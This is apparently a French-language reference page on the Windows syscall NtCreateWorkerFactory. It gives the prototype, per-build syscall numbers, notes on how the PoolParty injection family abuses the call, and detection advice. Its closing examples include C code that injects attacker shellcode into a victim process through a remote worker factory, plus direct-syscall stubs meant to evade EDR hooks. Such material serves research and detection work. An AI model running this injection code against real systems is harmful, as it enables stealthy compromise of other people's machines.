NtCreateWorkerFactory
Crée un objet worker factory noyau — la primitive de threadpool que l'injection PoolParty détourne pour exécuter du shellcode sans NtCreateThreadEx.
Prototype
NTSTATUS NtCreateWorkerFactory( PHANDLE WorkerFactoryHandleReturn, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, HANDLE CompletionPortHandle, HANDLE WorkerProcessHandle, PVOID StartRoutine, PVOID StartParameter, ULONG MaxThreadCount, SIZE_T StackReserve, SIZE_T StackCommit );
Arguments
| Name | Type | Dir | Description |
|---|---|---|---|
| WorkerFactoryHandleReturn | PHANDLE | out | Reçoit le nouveau handle de worker factory en cas de succès. |
| DesiredAccess | ACCESS_MASK | in | Masque d'accès demandé — WORKER_FACTORY_ALL_ACCESS (0xF00FF) pour le contrôle total. |
| ObjectAttributes | POBJECT_ATTRIBUTES | in | OBJECT_ATTRIBUTES optionnel, généralement NULL — les worker factories sont rarement nommées. |
| CompletionPortHandle | HANDLE | in | Handle vers un port de complétion d'E/S (NtCreateIoCompletion) qui délivre le travail aux threads de la factory. |
| WorkerProcessHandle | HANDLE | in | Processus dans lequel les threads de travail s'exécuteront. NtCurrentProcess() pour soi ; un handle distant est le vecteur d'injection PoolParty. |
| StartRoutine | PVOID | in | Adresse du point d'entrée du thread de travail — typiquement ntdll!TppWorkerThread pour les threadpools légitimes, contrôlée par l'attaquant dans PoolParty. |
| StartParameter | PVOID | in | Paramètre unique passé à StartRoutine sur chaque nouveau thread de travail. |
| MaxThreadCount | ULONG | in | Nombre maximal de threads de travail que la factory peut générer simultanément. |
| StackReserve | SIZE_T | in | Réservation de pile en octets pour chaque thread de travail. 0 utilise la valeur par défaut de l'image. |
| StackCommit | SIZE_T | in | Pile initialement validée pour chaque thread de travail. |
IDs de syscalls par version de Windows
| Version de Windows | ID de syscall | Build |
|---|---|---|
| Win10 1507 | 0xBE | win10-1507 |
| Win10 1607 | 0xC1 | win10-1607 |
| Win10 1703 | 0xC4 | win10-1703 |
| Win10 1709 | 0xC5 | win10-1709 |
| Win10 1803 | 0xC6 | win10-1803 |
| Win10 1809 | 0xC7 | win10-1809 |
| Win10 1903 | 0xC8 | win10-1903 |
| Win10 1909 | 0xC8 | win10-1909 |
| Win10 2004 | 0xCC | win10-2004 |
| Win10 20H2 | 0xCC | win10-20h2 |
| Win10 21H1 | 0xCC | win10-21h1 |
| Win10 21H2 | 0xCD | win10-21h2 |
| Win10 22H2 | 0xCD | win10-22h2 |
| Win11 21H2 | 0xD2 | win11-21h2 |
| Win11 22H2 | 0xD3 | win11-22h2 |
| Win11 23H2 | 0xD3 | win11-23h2 |
| Win11 24H2 | 0xD5 | win11-24h2 |
| Server 2016 | 0xC1 | winserver-2016 |
| Server 2019 | 0xC7 | winserver-2019 |
| Server 2022 | 0xD1 | winserver-2022 |
| Server 2025 | 0xD5 | winserver-2025 |
Module noyau
APIs liées
Stub du syscall
4C 8B D1 mov r10, rcx B8 D5 00 00 00 mov eax, 0xD5 F6 04 25 08 03 FE 7F 01 test byte ptr [0x7FFE0308], 1 75 03 jne short +3 0F 05 syscall C3 ret CD 2E int 2Eh C3 ret
Notes non documentées
NtCreateWorkerFactory est la moitié noyau du threadpool Windows en mode utilisateur : chaque `CreateThreadpool`, `CreateThreadpoolWork`, `SubmitThreadpoolWork` dans kernel32 / ntdll pilote in fine un objet `WorkerFactory` via ce syscall. La factory relie un port de complétion d'E/S (source des éléments de travail), un processus cible pour les threads de travail, et une `StartRoutine` invoquée à la mise en ligne des threads. Pour le code légitime, cette StartRoutine est `ntdll!TppWorkerThread`, qui boucle ensuite dans `NtWaitForWorkViaWorkerFactory`. La conception non documentée — un seul syscall créant des threads dans un processus arbitraire avec un point d'entrée arbitraire — en fait une primitive d'injection puissante, et le numéro de syscall dérive presque à chaque release.
Usage courant par les malwares
C'est la base de la famille d'injection PoolParty divulguée par Alon Leviev (SafeBreach) à Black Hat Europe 2023. La variante canonique : ouvrir un handle vers un processus distant, créer un port de complétion d'E/S et une worker factory dans ce processus avec `StartRoutine` pointant vers du shellcode fourni par l'attaquant dans l'espace d'adressage distant, puis poster du travail pour réveiller les threads. Résultat : exécution de code dans la cible *sans jamais appeler* `NtCreateThreadEx`, `NtQueueApcThread`, `NtSetContextThread`, `CreateRemoteThread`, `RtlCreateUserThread`, `NtMapViewOfSection`, ni aucune des sept ou huit primitives de création de thread que quasiment tous les EDR hookent. Huit variantes distinctes de PoolParty aboutissent toutes ici.
Opportunités de détection
La création d'une worker factory traversant les frontières de processus est le signal le plus fiable. Un `NtCreateWorkerFactory` inter-processus (où `WorkerProcessHandle` ne désigne pas le processus appelant) est essentiellement inédit hors outils offensifs. ETW offre une couverture limitée — le provider Microsoft-Windows-Threading émet certains événements worker factory mais pas le syscall lui-même ; le provider Threat-Intelligence ne couvre pas cette primitive actuellement. Détection pratique : inspection par callback noyau du `ProcessHandle` de l'objet `WorkerFactory` comparé à l'EPROCESS créateur, ou hooking utilisateur de ntdll!NtCreateWorkerFactory (que les syscalls directs contournent — d'où le besoin de l'approche noyau). Le scan VAD du processus cible pour des régions RX sans image suivi d'une worker factory référençant cette région est la traque post-incident la plus propre.
Exemples de syscalls directs
cPoolParty Variant 1 — remote worker factory
// PoolParty 'Worker Factory Start Routine Overwrite' skeleton.
// Assumes hProc opened with PROCESS_ALL_ACCESS, shellcode already written
// to pRemoteShellcode (RX) in the victim.
HANDLE hIoCompletion = NULL;
IO_STATUS_BLOCK iosb;
OBJECT_ATTRIBUTES oa; InitializeObjectAttributes(&oa, NULL, 0, NULL, NULL);
// 1. Create an I/O completion port in *our* process — the kernel just needs a handle.
NtCreateIoCompletion(&hIoCompletion, IO_COMPLETION_ALL_ACCESS, &oa, 0);
// 2. Duplicate it into the victim so the worker factory there can consume it.
HANDLE hRemoteIoCompletion = NULL;
NtDuplicateObject(NtCurrentProcess(), hIoCompletion, hProc, &hRemoteIoCompletion,
0, 0, DUPLICATE_SAME_ACCESS);
// 3. Create the worker factory in the victim. StartRoutine = shellcode.
HANDLE hWorkerFactory = NULL;
NtCreateWorkerFactory(&hWorkerFactory,
WORKER_FACTORY_ALL_ACCESS, NULL,
hRemoteIoCompletion,
hProc, // <-- victim process
pRemoteShellcode, // <-- attacker payload
NULL, // StartParameter
1, 0x100000, 0x10000);
// 4. Post a single work item — wakes one worker thread, which jumps to shellcode.
NtSetIoCompletion(hIoCompletion, NULL, NULL, STATUS_SUCCESS, 1);asmx64 direct stub (Win11 24H2 SSN 0xD5)
; NtCreateWorkerFactory direct syscall — SSN drifts per build, resolve dynamically in production.
NtCreateWorkerFactory PROC
mov r10, rcx
mov eax, 0D5h ; Win11 24H2 / Server 2025
syscall
ret
NtCreateWorkerFactory ENDPrustwindows-sys cross-process invocation
// Cargo: windows-sys = "0.59" ; ntapi = "0.4" for the prototype.
// Demonstrates the cross-process flag — flagged by Sysmon EID 10 on the OpenProcess.
use ntapi::ntpsapi::NtCurrentProcess;
use ntapi::ntexapi::NtCreateWorkerFactory;
use windows_sys::Win32::Foundation::HANDLE;
unsafe fn spawn_remote_worker(
victim: HANDLE,
remote_iocp: HANDLE,
remote_payload: *mut core::ffi::c_void,
) -> HANDLE {
let mut wf: HANDLE = 0;
let status = NtCreateWorkerFactory(
&mut wf as *mut _ as *mut _,
0x000F00FF, // WORKER_FACTORY_ALL_ACCESS
core::ptr::null_mut(),
remote_iocp,
victim,
remote_payload,
core::ptr::null_mut(),
1,
0x100000,
0x10000,
);
assert_eq!(status, 0, "NtCreateWorkerFactory failed: {status:#x}");
wf
}Mappings MITRE ATT&CK
Last verified: 2026-05-20